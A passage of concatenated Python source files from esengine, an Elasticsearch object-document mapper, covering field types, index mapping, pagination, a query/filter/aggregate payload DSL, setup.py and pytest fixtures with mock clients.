better searches. An array of arbitrary schema-less objects field = ArrayField(ObjectField()) # equivalent to field = Arrayfield(field_type=dict, mapping={"type": "nested"}) Or an array of schema strict documents >>> field = ArrayField( ... ObjectField( ... dynamic=False, ... properties={"name": {"type": "string"}} ... ) ... ) # NOTE: Schema validation is done only at E.S indexing level """ _multi = True def __init__(self, field=None, *args, **kwargs): self.field = field self._default_mapping = {'type': 'string'} self._type = unicode if field: if isinstance(field, ObjectField): self.field._default_mapping['type'] = 'nested' self._default_mapping.update(self.field.mapping) self._type = field._type if 'default' not in kwargs: kwargs['default'] = [] super(ArrayField, self).__init__(*args, **kwargs) def from_dict(self, serialized): """ Transform data read from E.S to Python Object :param serialized: Result from E.S (string) :return: Instance or Instances of self._type """ if serialized is not None: return [ self.field.from_dict(x) if x is not None else x for x in serialized ] return self._default class GeoPointStringValidator(FieldValidator): @staticmethod def validate_string(field, value): if value: values = [ float(item.strip()) for item in value.split(',') ] if not len(values) == 2: raise ValidationError( '2 elements "lat,lon" required in %s' % field._field_name ) def validate_value(self, field, value): if not field._multi: self.validate_string(field, value) def validate_item(self, field, item): self.validate_string(field, item) class GeoPointDictValidator(FieldValidator): @staticmethod def validate_dict(field, value): if value: for key in 'lat', 'lon': if not isinstance(value.get(key), float): raise ValidationError( '%s: %s requires a float' % (field._field_name, key) ) def validate_value(self, field, value): if not field._multi: self.validate_dict(field, value) def validate_item(self, field, item): self.validate_dict(field, item) class GeoPointField(BaseField): """ A field to hold GeoPoint mode = dict|array|string >>> location = GeoPointField(mode='dict') # default An object representation with lat and lon explicitly named >>> location = {"lat": 40.722, "lon": -73.989}} >>> location = GeoPointField(mode='string') A string representation, with "lat,lon" >>> location = "40.715, -74.011" >>> location = GeoPointField(mode='array') An array representation with [lon,lat]. >>> location = [-73.983, 40.719] """ def __init__(self, *args, **kwargs): self._default_mapping = {'type': 'geo_point'} self.mode = kwargs.pop('mode', 'dict') super(GeoPointField, self).__init__(*args, **kwargs) if self.mode == 'string': self._type = unicode self._validators.append(GeoPointStringValidator()) elif self.mode == 'array': self._multi = True self._type = float self._default = [] self._validators.append(_array_validator) else: self._type = dict self._default = {} self._validators.append(GeoPointDictValidator()) def validate_field_type(self, value): if self.mode == 'array' and isinstance(value, list): def validate(val): if not isinstance(val, self._type): raise FieldTypeMismatch(self._field_name, self._type, val.__class__) if value is not None: if any([isinstance(item, list) for item in value]): [validate(item) for item in value] else: super(GeoPointField, self).validate_field_type(value) def _validate_array_item(field, value): if value: if not len(value) == 2: raise ValidationError( '2 elements [lon, lat] required in %s' % field._field_name ) def _array_validator(field, value): if any([isinstance(item, list) for item in value]): # it is a multi location geo array [_validate_array_item(field, item) for item in value] else: _validate_array_item(field, value) class DateField(BaseField): _type = datetime _default_mapping = {"type": "date"} @property def _date_format(self): """ Optional string format used to send date value to E.S specified in DateField(date_format="%Y-%m-%d %H:%M:%S") if not specified isoformat() will be used :return: string date format or None """ return getattr(self, 'date_format', None) def to_dict(self, value, validate=True): if self._multi: if not value: return [] self.validate(value) if self._date_format: return [x.strftime(self._date_format) for x in value] return [x.isoformat() for x in value] else: if not value: return None if validate: self.validate(value) if self._date_format: return value.strftime(self._date_format) return value.isoformat() def from_dict(self, serialized): if serialized: if self._multi: values = [] for elem in serialized: if elem is None: continue if isinstance(elem, self._type): values.append(elem) elif isinstance(elem, string_types): date = parser.parse(elem) values.append(date) else: raise ValueError( 'Expected str or date. {} found'.format( elem.__class__ ) ) return values else: if serialized is None: return None if isinstance(serialized, self._type): return serialized elif isinstance(serialized, string_types): return parser.parse(serialized) raise ValueError('Expected str or date. {} found'.format( serialized.__class__) ) --- FILE SEPARATOR --- import collections import logging class Mapping(object): """ Used to generate mapping based in document field definitions >>> class Obj(Document): ... name = KeywordField() And you can use a Mapping to refresh mappings (use in cron jobs or call periodically) obj_mapping = Mapping(Obj) obj_mapping.save() Adicionally this class handle index settings configuration. However this operation must be done at elasticsearch index creation. """ def __init__(self, document_class=None, enable_all=True): self.document_class = document_class self.enable_all = enable_all def _generate(self, doc_class): """ Generate the mapping acording to doc_class. Args: doc_class: esengine.Document object containing the model to be mapped to elasticsearch. """ m = { doc_class._doctype: { "properties": { field_name: field_instance.mapping for field_name, field_instance in doc_class._fields.items() if field_name != "id" } } } logging.getLogger(__name__).info(m) return m def generate(self): return self._generate(self.document_class) def save(self, es=None): """ Save the mapping to index. Args: es: elasticsearch client intance. """ es = self.document_class.get_es(es) if not es.indices.exists(index=self.document_class._index): return es.indices.create( index=self.document_class._index, body={"mappings": self.generate()}, params={"include_type_name": "true"} ) def build_configuration(self, models_to_mapping, custom_settings, es=None): """ Build request body to add custom settings (filters, analizers, etc) to index. Build request body to add custom settings, like filters and analizers, to index. Args: models_to_mapping: A list with the esengine.Document objects that we want generate mapping. custom_settings: a dict containing the configuration that will be sent to elasticsearch/_settings (www.elastic.co/guide/en/ elasticsearch/reference/current/indices-update-settings.html) es: elasticsearch client intance. """ # noqa indexes = set() configuration = {} mapped_models = [x for x in models_to_mapping] for model in mapped_models: indexes.add(model._index) es = model.get_es(es) for index in indexes: if es.indices.exists(index=index): msg = 'Settings are supported only on index creation' raise ValueError(msg) mappings_by_index = collections.defaultdict(dict) for model in mapped_models: mapping = self._generate(model) mappings_by_index[model._index].update(mapping) for index, mappings in mappings_by_index.items(): settings = { "settings": custom_settings, "mappings": mappings } configuration[index] = settings return configuration def configure(self, models_to_mapping, custom_settings=None, es=None): """ Add custom settings like filters and analizers to index. Add custom settings, like filters and analizers, to index. Be aware that elasticsearch only allow this operation on index creation. Args: models_to_mapping: A list with the esengine.Document objects that we want generate mapping. custom_settings: a dict containing the configuration that will be sent to elasticsearch/_settings (www.elastic.co/guide/en/ elasticsearch/reference/current/indices-update-settings.html) es: elasticsearch client intance. """ if not isinstance(models_to_mapping, collections.Iterable): raise AttributeError('models_to_mapping must be iterable') if custom_settings: for model in models_to_mapping: es = model.get_es(es) if es: break configurations = self.build_configuration( models_to_mapping, custom_settings, es ) for index, settings in configurations.items(): es.indices.create(index=index, body=settings) else: mapped_models = [x for x in models_to_mapping] for model in mapped_models: model.put_mapping() --- FILE SEPARATOR --- from esengine.utils.validation import validate_client # noqa --- FILE SEPARATOR --- from elasticsearch import Elasticsearch from esengine import Document, KeywordField, Payload, Query, Pagination class Doc(Document): _index = 'test' _doctype = 'doc' _es = Elasticsearch() name = KeywordField() payload = Payload(Doc, query=Query.match_all()) pagination = Pagination(payload, page=1, per_page=5) --- FILE SEPARATOR --- # -*- coding: utf-8 -*- import logging import math from copy import deepcopy from six.moves import range from esengine.exceptions import PaginationError, StopPagination class Pagination(object): def __init__(self, iterable, page=1, per_page=10): """ Initialize an iterator :param iterable: Payload (recommended), ResultSet or an iterator :param page: :param per_page: :return: """ self.init(iterable, page, per_page) def init(self, iterable, page, per_page): page = int(page or 1) per_page = int(per_page or 10) logging.getLogger(__name__).info(page) # if page < 1: # raise PaginationError("Page is lower than 1") self.iterable = iterable # noqa self.page = page # noqa self.per_page = per_page # noqa if hasattr(iterable, 'count'): self.total = self.total_size = int(iterable.count()) else: self.total = self.total_size = len(iterable) # noqa start_index = (page - 1) * per_page end_index = page * per_page if hasattr(iterable, 'search'): # it is a Payload struct_bck = deepcopy(iterable._struct) # apply pagination total_size = iterable._struct.get('size') if total_size: self.total_size = int(total_size) # noqa iterable.from_(start_index) iterable.size(per_page) self.items = iterable.search() # restore Payload state iterable._struct = struct_bck else: self.items = iterable[start_index:end_index] # noqa if not self.items and page != 1: raise StopPagination("There is no items to paginate") if self.page > self.pages: raise StopPagination("Pagination Overflow") def count(self): """ The minimum between search.count and specified total_size :return: integer """ return min(self.total, self.total_size) @property def pages(self): """The total number of pages""" return int(math.ceil(self.count() / float(self.per_page))) def prev_page(self, inplace=False): """Returns a :class:`Pagination` object for the previous page.""" if self.iterable is None: raise PaginationError('iterable is needed') if not self.has_prev: raise StopPagination("There is no previous page") return ( self.__class__ if not inplace else self.init )(self.iterable, self.page - 1, self.per_page) def backward(self): return self.prev_page(inplace=True) @property def prev_num(self): """Number of the previous page.""" if self.has_prev: return self.page - 1 @property def has_prev(self): """True if a previous page exists""" return self.page > 1 def next_page(self, inplace=False): """Returns a :class:`Pagination` object for the next page.""" if self.iterable is None: raise PaginationError('iterable is needed') if not self.has_next: raise StopPagination("There is no next page") return ( self.__class__ if not inplace else self.init )(self.iterable, self.page + 1, self.per_page) def forward(self): self.next_page(inplace=True) @property def has_next(self): """True if a next page exists.""" return self.page < self.pages @property def next_num(self): """Number of the next page""" if self.has_next: return self.page + 1 def iter_pages(self, left_edge=2, left_current=2, right_current=5, right_edge=2): """Iterates over the page numbers in the pagination. The four parameters control the thresholds how many numbers should be produced from the sides. Skipped page numbers are represented as `None`. This is how you could render such a pagination in the templates: .. sourcecode:: html+jinja {% macro render_pagination(pagination, endpoint) %} <div class=pagination> {%- for page in pagination.iter_pages() %} {% if page %} {% if page != pagination.page %} <a href="{{ url_for(endpoint, page=page) }}">{{ page }}</a> {% else %} <strong>{{ page }}</strong> {% endif %} {% else %} <span class=ellipsis>…</span> {% endif %} {%- endfor %} </div> {% endmacro %} """ last = 0 for num in range(1, self.pages + 1): if num <= left_edge or \ (num > self.page - left_current - 1 and num < self.page + right_current) or \ num > self.pages - right_edge: if last + 1 != num: yield None yield num last = num @property def meta(self): return { 'total': self.count(), 'pages': self.pages, 'per_page': self.per_page, 'page': self.page, 'next_page': self.next_num, 'previous_page': self.prev_num } def to_dict(self): return { "items": self.items.to_dict(), "meta": self.meta } --- FILE SEPARATOR --- # flake8: noqa """ Some code under query/* module is inspired on code created by: Nick Barrett pointlessrambler@gmail.com """ from esengine.utils.payload.base import Payload # noqa from esengine.utils.payload.filters import Filter # noqa from esengine.utils.payload.queries import Query # noqa from esengine.utils.payload.aggregates import Aggregate # noqa from esengine.utils.payload.suggesters import Suggester # noqa --- FILE SEPARATOR --- from esengine.utils.payload.meta import BaseAggregate, MetaAggregate from esengine.utils.payload.exception import NoAggregate AGGREGATES = { 'min': { 'args': ('field',) }, 'max': { 'args': ('field',) }, 'sum': { 'args': ('field',) }, 'avg': { 'args': ('field',) }, 'stats': { 'args': ('field',) }, 'extended_stats': { 'args': ('field',) }, 'value_count': { 'args': ('field',) }, 'percentiles': { 'args': ('field',) }, 'percentile_ranks': { 'args': ('field',) }, 'cardinality': { 'args': ('field',) }, 'geo_bounds': { 'args': ('field',) }, 'top_hits': { }, 'scripted_metric': { }, 'global': { }, 'filter': { 'args': ({'filter': '_filter'},) }, 'filters': { 'args': ({'filters': ['_filter']},) }, 'missing': { 'args': ('field',) }, 'nested': { 'args': ('path',) }, 'reverse_nested': { }, 'children': { 'args': ('type',) }, 'terms': { 'args': ('field',) }, 'significant_terms': { 'args': ('field',) }, 'range': { 'args': ('field', {'ranges': []}) }, 'date_range': { 'args': ('field', {'ranges': []}) }, 'ip_range': { 'args': ('field', {'ranges': []}) }, 'histogram': { 'args': ('field', 'interval') }, 'date_histogram': { 'args': ('field', 'interval') }, 'geo_distance': { 'args': ('field', 'origin', {'ranges': []}) }, 'geohash_grid': { 'args': ('field',) } } class Aggregate(BaseAggregate): __metaclass__ = MetaAggregate _ee_type = 'aggregate' _definitions = AGGREGATES _exception = NoAggregate --- FILE SEPARATOR --- from esengine.exceptions import PayloadError from esengine.utils.payload.queries import Query from esengine.utils.payload.meta_util import unroll_struct from esengine.utils.pagination import Pagination class Payload(object): def __init__(self, model=None, **kwargs): """ Optional parameters :param model: a Document model class (optional) :param query: A Query instance :param filter: A Filter instance :param aggregate: Aggregate instances :param suggest: Suggester instances :param sort: field name or dictionary :param size: Integer size :param timeout: Timeout in seconds :param fields: List of fields :return: Payload Wrapper """ self._model = model self._filter = None self._query = None self._aggs = [] self._suggesters = [] self._struct = {} for key, value in kwargs.items(): try: getattr(self, key)(value) except AttributeError: self.set(key, value) def query(self, query): self._query = query return self def filter(self, filter_): self._filter = filter_ return self def aggregate(self, aggregates): self._aggs.extend(aggregates) return self def suggest(self, *suggesters): self._suggesters.extend(suggesters) return self def set(self, key, value): self._struct[key] = value return self def from_(self, from_): self._struct['from'] = from_ return self def size(self, size): self._struct['size'] = size return self def timeout(self, timeout): self._struct['timeout'] = timeout return self def fields(self, fields): self._struct['_source'] = fields return self def sort(self, field, reset=False, **kwargs): """ Sort he Payload :param field: Field to sort :param reset: Should reset sort list :param kwargs: "order" and other sort params :return: Payload instance (self) """ if reset or 'sort' not in self._struct: self._struct['sort'] = [] if not kwargs: self._struct['sort'].append(field) else: self._struct['sort'].append({field: kwargs}) return self @property def dict(self): return self.as_dict() def as_dict(self): if self._filter and self._query: self._struct['query'] = Query.filtered( filter=self._filter, query=self._query ) elif self._filter: self._struct['query'] = Query.filtered( filter=self._filter ) elif self._query: self._struct['query'] = self._query if self._aggs: aggs = {} for agg in self._aggs: aggs.update(agg.as_dict()) self._struct['aggregations'] = aggs if self._suggesters: suggs = {} for sugg in self._suggesters: suggs.update(sugg.as_dict()) self._struct['suggest'] = suggs return unroll_struct(self._struct) # backward compatibility API to_dict = as_dict # noqa def search(self, model=None, **kwargs): model = model or self._model query = self.dict if not query: raise PayloadError( "query, filter, aggregate or suggest should be specified!" ) return model.search(query=query, **kwargs) def count(self, model=None, **kwargs): model = model or self._model query = self.dict.get('query') if not query: raise PayloadError("query should be specified for count") kwargs['perform_count'] = True return model.search(query={"query": query}, **kwargs) def paginate(self, page=1, per_page=10): return Pagination(iterable=self, page=page, per_page=per_page) def get_values(self, *fields, **kwargs): """ if args is only one field .get_values('id') return a list of lists [123, 456, 789] If args is more than one field return a list of tuples .get_values("id", "name") [(123, "John"), (789, "mary"), ...] :param kwargs: Document class :param fields: a list of fields :return: """ values = [ hit.get('_source') for hit in self.search(_source=fields, **kwargs)._hits ] if not fields: raise AttributeError("At least one field is required") if len(fields) > 1: return [ tuple(value.get(field) for field in fields) for value in values ] else: return [value.get(fields[0]) for value in values] --- FILE SEPARATOR --- class ElasticQueryException(Exception): pass class DslException(ElasticQueryException): pass class NoQuery(DslException): pass class NoFilter(DslException): pass class NoAggregate(DslException): pass class NoSuggester(DslException): pass class InvalidArg(DslException): pass class MissingArg(DslException): pass --- FILE SEPARATOR --- from esengine.utils.payload.meta import BaseFilterQuery, MetaFilterQuery from esengine.utils.payload.exception import NoFilter from six import with_metaclass FILTERS = { 'and_': ['_filter'], 'bool': { 'kwargs': ({('must', 'must_not', 'should'): ['_filter']},) }, 'exists': { 'args': ('field',) }, 'geo_bounding_box': { 'field': True, 'kwargs': ('top_left', 'bottom_right') }, 'geo_distance': { 'field': True, 'kwargs': ('lat', 'lon') }, 'geo_distance_range': { 'field': True, 'kwargs': ('lat', 'lon') }, 'geo_polygon': { 'field': True, 'args': ({'points': []},) }, 'geo_shape': { 'field': True, 'kwargs': ('type', {'coordinates': []}), 'field_process': lambda q: {'shape': q} }, 'geohash_shell': { 'field': True, 'kwargs': ('lat', 'lon',) }, 'has_child': { 'args': ('type',), 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'has_parent': { 'args': ('parent_type',), 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'ids': { 'args': ({'values': []},), 'kwargs': ('type',) }, 'indices': { 'args': ({'indices': []},), 'kwargs': ({('filter', 'no_match_filter'): '_filter'},) }, 'limit': { 'args': ('value',) }, 'match_all': {}, 'missing': { 'args': ('field',) }, 'nested': { 'args': ('path', {'filter': '_filter'}), }, 'not_': { 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'or_': ['_filter'], 'prefix': { 'field': True, 'args': ('value',) }, 'range': { 'field': True, 'kwargs': ('gte', 'gt', 'lte', 'lt') }, 'regexp': { 'field': True, 'args': ('value',), 'kwargs': ('flags', 'max_determinized_states') }, 'script': { 'args': ('script',) }, 'term': { 'field': True, 'args': ('value',) }, 'terms': { 'field': True, 'value_only': True, 'args': ({'value': []},) }, 'type': { 'args': ('value',) } } class Filter(with_metaclass(MetaFilterQuery, BaseFilterQuery)): _ee_type = 'filter' _definitions = FILTERS _exception = NoFilter @classmethod def query(cls, query, cache=False): if cache: return cls('fquery', { 'query': query, '_cache': True }) else: return cls('query', query) --- FILE SEPARATOR --- from esengine.utils.payload.meta_util import ( make_struct, unroll_definitions, unroll_struct ) class MetaFilterQuery(type): def __init__(self, name, bases, d): super(MetaFilterQuery, self).__init__(name, bases, d) unroll_definitions(self._definitions) def __getattr__(self, key): if key == '__test__': return None self._validate_key(key) return lambda *args, **kwargs: self( key, make_struct(self._definitions[key], *args, **kwargs) ) def _validate_key(self, key): if key != "__slots__" and key not in self._definitions: raise self._exception(key) class MetaAggregate(MetaFilterQuery): def __getattr__(self, key): if key == '__test__': return None self._validate_key(key) return lambda *args, **kwargs: self( key, args[0], make_struct(self._definitions[key], *args[1:], **kwargs) ) class MetaSuggester(MetaFilterQuery): def __getattr__(self, key): if key == '__test__': return None self._validate_key(key) return lambda *args, **kwargs: self( key, args[0], args[1], make_struct(self._definitions[key], *args[2:], **kwargs) ) class BaseFilterQuery(object): _struct = None _dsl_type = None def __init__(self, dsl_type, struct): self._dsl_type = dsl_type self._struct = struct @property def dict(self): return self.as_dict() def as_dict(self): # Handle reserved Python keyword alternatives (from_, or_) dsl_type = ( self._dsl_type[:-1] if self._dsl_type.endswith('_') else self._dsl_type ) return {dsl_type: unroll_struct(self._struct)} class BaseAggregate(BaseFilterQuery): _name = None def __init__(self, dsl_type, name, struct): self._dsl_type = dsl_type self._struct = struct self._name = name self._aggs = [] def as_dict(self): struct = { self._name: { self._dsl_type: unroll_struct(self._struct) } } if self._aggs: aggregates = {} for agg in self._aggs: aggregates.update(agg.as_dict()) struct[self._name]['aggregations'] = aggregates return struct def aggregate(self, *aggregates): self._aggs.extend(aggregates) return self class BaseSuggester(BaseFilterQuery): _name = None def __init__(self, dsl_type, name, text, struct): self._dsl_type = dsl_type self._struct = struct self._name = name self._text = text self._suggs = [] def as_dict(self): struct = { self._name: { "text": self._text, self._dsl_type: unroll_struct(self._struct) } } if self._suggs: for sugg in self._suggs: struct.update(sugg.as_dict()) return struct --- FILE SEPARATOR --- from esengine.utils.payload.meta import BaseFilterQuery, MetaFilterQuery from esengine.utils.payload.exception import NoQuery from six import with_metaclass QUERIES = { 'match': { 'field': True, 'args': ('query',), 'kwargs': ('operator', 'zero_terms_query', 'cutoff_frequency', 'boost') }, 'multi_match': { 'args': ({'fields': []}, 'query') }, 'bool': { 'kwargs': ({('must', 'must_not', 'should'): ['_query']},) }, 'boost': { 'kwargs': ({('positive', 'negative'): '_query'}) }, 'common': { 'args': ('query',), 'process': lambda q: {'body': q} }, 'constant_score': { 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'dis_max': { 'args': ({'queries': ['_query']},) }, 'filtered': { 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'fuzzy_like_this': { 'args': ({'fields': []}, 'like_text') }, 'fuzzy_like_this_field': { 'field': True, 'args': ('like_text',), 'kwargs': ( 'max_query_terms', 'ignore_tf', 'fuzziness', 'prefix_length', 'boost', 'analyzer' ) }, 'function_score': { 'args': ({'functions': []},), 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'fuzzy': { 'field': True, 'args': ('value',), 'kwargs': ('boost', 'fuzziness', 'prefix_length', 'max_expansions') }, 'geo_shape': { 'field': True, 'kwargs': ('type', {'coordinates': []}), 'field_process': lambda q: {'shape': q} }, 'has_child': { 'args': ('type',), 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'has_parent': { 'args': ('parent_type',), 'kwargs': ({'query': '_query', 'filter': '_filter'},) }, 'ids': { 'args': ({'values': []},), 'kwargs': ('type',) }, 'indices': { 'args': ({'indices': []},), 'kwargs': ({('query', 'no_match_query'): '_query'},) }, 'match_all': { 'kwargs': ('boost',) }, 'more_like_this': { 'args': ({'fields': []}, 'like_text') }, 'nested': { 'args': ('path', {'query': '_query'}), }, 'prefix': { 'field': True, 'args': ('value',), 'kwargs': ('boost',) }, 'query_string': { 'args': ('query',), 'kwargs': ({'fields': []},) }, 'simple_query_string': { 'args': ('query',), 'kwargs': ({'fields': []},) }, 'range': { 'field': True, 'kwargs': ('gte', 'gt', 'lte', 'lt',) }, 'regexp': { 'field': True, 'args': ('value',), 'kwargs': ('boost', 'flags') }, 'span_first': { 'args': ({'match': '_query'},) }, 'span_multi': { 'args': ({'match': '_query'},) }, 'span_near': { 'args': ({'clauses': ['_query']},) }, 'span_not': { 'kwargs': ({('include', 'exclude'): '_query'},) }, 'span_or': { 'args': ({'clauses': ['_query']},) }, 'span_term': { 'field': True, 'args': ('value',), 'kwargs': ('boost',) }, 'term': { 'field': True, 'args': ('value',), 'kwargs': ('boost',) }, 'terms': { 'field': True, 'value_only': True, 'args': ({'value': ['']},) }, 'top_children': { 'args': ('type',), 'kwargs': ({'query': '_query'},) }, 'wildcard': { 'field': True, 'args': ('value',), 'kwargs': ('boost',) } } class Query(with_metaclass(MetaFilterQuery, BaseFilterQuery)): _ee_type = 'query' _definitions = QUERIES _exception = NoQuery --- FILE SEPARATOR --- # coding: utf-8 from esengine.exceptions import ClientError def validate_client(es): """ A valid ES client is a interface which must implements at least "index" and "search" public methods. preferably an elasticsearch.ElasticSearch() instance :param es: :return: None """ if not es: raise ClientError("ES client cannot be Nonetype") try: if not callable(es.index) or not callable(es.search) or \ not callable(es.get): raise ClientError( "index or search or get Interface is not callable" ) except AttributeError as e: raise ClientError(str(e)) class FieldValidator(object): def __init__(self): self.validation = [] def validate_value(self, field, value): pass def validate_item(self, field, item): pass def __call__(self, field, value): self.validate_value(field, value) if field._multi: [self.validate_item(field, item) for item in value] return self.validation --- FILE SEPARATOR --- # coding: utf-8 import time import datetime from elasticsearch import Elasticsearch from esengine import ( Document, KeywordField, IntegerField, BooleanField, FloatField, GeoPointField, DateField ) class ExampleDoc(Document): _index = 'esengine_test' _doctype = 'example' _es = Elasticsearch() name = KeywordField() age = IntegerField() active = BooleanField() weight = FloatField() location = GeoPointField(mode="array") birthday = DateField(date_format="%Y-%m-%d") city = KeywordField() ExampleDoc.put_mapping() ######################################################################## instances = [] gonzo = ExampleDoc( id=123456, name="Gonzo", age="2", active=True, weight="30.5", location=[0.345, 1.456], city="Tunguska" ) gonzo.birthday = '2015-01-01' gonzo.save() instances.append(gonzo) mongo = ExampleDoc( id=789100, name="Mongo", age="3", active=False, weight="10.5", location=[0.342, 2.456], birthday=datetime.datetime.today(), city="Tunguska" ) mongo.save() instances.append(mongo) ######################################################################## for instance in instances: print instance print "get by id=", instance.id, ExampleDoc.get(id=instance.id) print "Filter by name=", instance.name, [ item.to_dict() for item in ExampleDoc.filter(name=instance.name, size=2) ] print "Filter by name='" + instance.name + "', active=", instance.active, [ item.to_dict() for item in ExampleDoc.filter(name="Gonzo", active=instance.active, size=2) ] QUERY = { "query": { "bool": { "must": [ {"match": {"name": instance.name}} ] } } } print "Search by query:", QUERY, [ item.to_dict() for item in ExampleDoc.search(QUERY) ] print "#" * 120 for instance in instances: print instance.name, "Old age:", instance.age instance.age += 1 print instance.name, "New age:", instance.age ExampleDoc.save_all(instances) for instance in instances: print instance.name, "Saved age is now:", instance.age for instance in instances: print "{i.name} activation is {i.active}".format(i=instance) ######################################################################## time.sleep(2) print "updating turning activations to True" QUERY = { "query": { "bool": { "must": [ {"match": {"city": "Tunguska"}} ] } } } print "for", QUERY results = ExampleDoc.search(QUERY) for res in results: print res results.update(active=True) results.reload() for res in results: print "{i.name} activation is {i.active}".format(i=res) print "Will update the names to Jonson" # results.update(name="Jonson") # results.reload() # for res in results: # print "{i.name} activation is {i.active}".format(i=res) # print "Updating using Model.update_all" # ExampleDoc.update_all(results, city="Itapopoca") # time.sleep(1) # results = ExampleDoc.filter(city="Itapopoca") # for res in results: # print "{i.name} city is {i.city}".format(i=res) print "All documents" for doc in ExampleDoc.all(): print doc.to_dict() #print "Deleting everything" #results.delete() --- FILE SEPARATOR --- # coding: utf-8 import os import re try: from setuptools import setup, find_packages except ImportError: from distutils.core import setup, find_packages try: import pypandoc long_description = pypandoc.convert('README.md', 'rst') except (IOError, ImportError): long_description = "Elasticsearch ODM inspired on MongoEngine" def fpath(name): return os.path.join(os.path.dirname(__file__), name) def read(fname): return open(fpath(fname)).read() # grep eseengine/__init__.py since python 3.x cannot import it file_text = read(fpath('esengine/__init__.py')) def grep(attrname): pattern = r"{0}\W*=\W*'([^']+)'".format(attrname) strval, = re.findall(pattern, file_text) return strval setup( name='esengine', version=grep('__version__'), url='https://github.com/seek-ai/esengine', license='MIT', author="Catholabs", author_email="catholabs@catho.com", description='Elasticsearch ODM inspired on MongoEngine', long_description=long_description, packages=find_packages(), include_package_data=True, zip_safe=False, platforms='any', extras_require={ "es0": ["elasticsearch<1.0.0"], "es1": ["elasticsearch>=1.0.0,<2.0.0"], "es2": ["elasticsearch>=2.0.0,<3.0.0"] }, install_requires=["python-dateutil", "six>=1.12.0"], tests_require=[ "pytest==2.8.3", "pytest-cov==2.2.0", "flake8==2.5.0", "pep8-naming==0.3.3", "flake8-debugger==1.4.0", "flake8-print==2.0.1", "flake8-todo==0.4", "radon==1.2.2" ], classifiers=[ 'Development Status :: 4 - Beta', 'Intended Audience :: Developers', 'Operating System :: POSIX', 'Operating System :: POSIX :: Linux', 'License :: OSI Approved :: MIT License', 'Programming Language :: Python :: 3', 'Programming Language :: Python :: 3.5', 'Programming Language :: Python :: 3.6', ] ) --- FILE SEPARATOR --- # content of conftest.py import pytest import elasticsearch.helpers as eh_original from esengine import Document from esengine.fields import IntegerField, KeywordField, FloatField DOUBLE_ID_FIELD = "double_id" _INDEX = 'index' _DOC_TYPE = 'doc_type' class ES(object): test_id = 100 test_ids = [100, 101] def index(self, *args, **kwargs): assert kwargs['index'] == _INDEX assert kwargs['doc_type'] == _DOC_TYPE assert kwargs['id'] == self.test_id assert 'body' in kwargs kwargs['created'] = True kwargs['_id'] = self.test_id return kwargs def get(self, *args, **kwargs): assert kwargs['index'] == _INDEX assert kwargs['doc_type'] == _DOC_TYPE assert kwargs['id'] == self.test_id return { '_source': { 'id': self.test_id }, '_id': self.test_id } def search(self, *args, **kwargs): assert kwargs['index'] == _INDEX assert kwargs['doc_type'] == _DOC_TYPE docs = [] for _id in self.test_ids: doc = { '_source': { 'id': _id }, '_id': _id, '_score': 1.0 } docs.append(doc) return { 'hits': { 'hits': docs } } class ES_fields(object): test_id = 100 test_ids = [100, 101] double_ids = [id * 2 for id in test_ids] def index(self, *args, **kwargs): assert kwargs['index'] == _INDEX assert kwargs['doc_type'] == _DOC_TYPE assert kwargs['id'] == self.test_id assert 'body' in kwargs kwargs['created'] = True kwargs['_id'] = self.test_id return kwargs def get(self, *args, **kwargs): assert kwargs['index'] == _INDEX assert kwargs['doc_type'] == _DOC_TYPE assert kwargs['id'] == self.test_id return { '_source': { 'id': self.test_id }, '_id': self.test_id } def search(self, *args, **kwargs): assert kwargs['index'] == _INDEX assert kwargs['doc_type'] == _DOC_TYPE docs = [] for _id in self.test_ids: doc = { '_source': { 'id': _id }, '_id': _id, '_score': 1.0, 'fields': { "double_id": _id * 2 } } docs.append(doc) return { 'hits': { 'hits': docs } } class D(Document): _index = _INDEX _doctype = _DOC_TYPE id = IntegerField() class DW(D): _es = ES() id = IntegerField() # ID hould be inherited document_id = KeywordField() house_number = IntegerField() height = FloatField() # def pytest_runtest_setup(item): # # called for running each test in 'a' directory # print("setting up", item) @pytest.fixture(scope="module") def INDEX(): return 'index' @pytest.fixture(scope="module") def DOC_TYPE(): return 'doc_type' @pytest.fixture(scope="module") def QUERY(): return { "query": { "bool": { "must": [ {"match": {"name": "Gonzo"}} ] } } } @pytest.fixture(scope="module") def QUERY_SCRIPT_FIELDS(): return { "query": { "match_all": {} }, "script_fields": { DOUBLE_ID_FIELD: {"script": "doc[\"id\"]*2"} } } @pytest.fixture(scope="module") def FIELD_NAME(): return DOUBLE_ID_FIELD @pytest.fixture(scope="module") def MockES(): return ES @pytest.fixture(scope="module") def MockESf(): return ES_fields @pytest.fixture(scope="module") def eh(): def bulk(es, actions): for action in actions: assert action['_op_type'] in ['index', 'update', 'delete'] assert action['_index'] == _INDEX assert action['_type'] == _DOC_TYPE eh_original.bulk = bulk return eh_original @pytest.fixture(scope="module") def Doc(): return D @pytest.fixture(scope="module") def DocWithDefaultClient(): return DW --- FILE SEPARATOR --- import pytest from esengine.bases.py3 import * # noqa from esengine.bases.document import BaseDocument from esengine.bases.field import BaseField from esengine.fields import KeywordField, IntegerField from esengine.exceptions import FieldTypeMismatch def test_raise_when_doc_has_no_doc_type(): with pytest.raises(ValueError): BaseDocument() def test_raise_when_doc_has_no_index(): class WhitoutIndex(BaseDocument): _doctype = 'test' class WhitIndex(BaseDocument): _doctype = 'test' _index = 'test' _fields = {} with pytest.raises(ValueError) as ex: WhitoutIndex() assert str(ex.value) == '{} have no _index attribute'.format( WhitoutIndex.__name__ ) WhitIndex() def test_raise_if_doc_has_no_fields(): class WhitoutFields(BaseDocument): _doctype = 'test' _index = 'test' class WhitFields(BaseDocument): _doctype = 'test' _index = 'test' _fields = {} with pytest.raises(AttributeError) as ex: WhitoutFields() assert str(ex.value) == "type object '{}' has no attribute '{}'".format( WhitoutFields.__name__, '_fields' ) WhitFields() def test_doc_set_kwargs(): class Doc(BaseDocument): _doctype = 'test' _index = 'test' _fields = {} def __setattr__(self, key, value): if key not in self._fields: if isinstance(value, basestring): self._fields[key] = KeywordField() elif isinstance(value, int): self._fields[key] = IntegerField() else: self._fields[key] = KeywordField(_multi=True) super(Doc, self).__setattr__(key, value) x = Doc(asdf='0', x=10, value=['a', 'b'], _value='aaa') assert x.asdf == '0' assert x.x == 10 assert x.value == ['a', 'b'] assert x._value == 'aaa' def 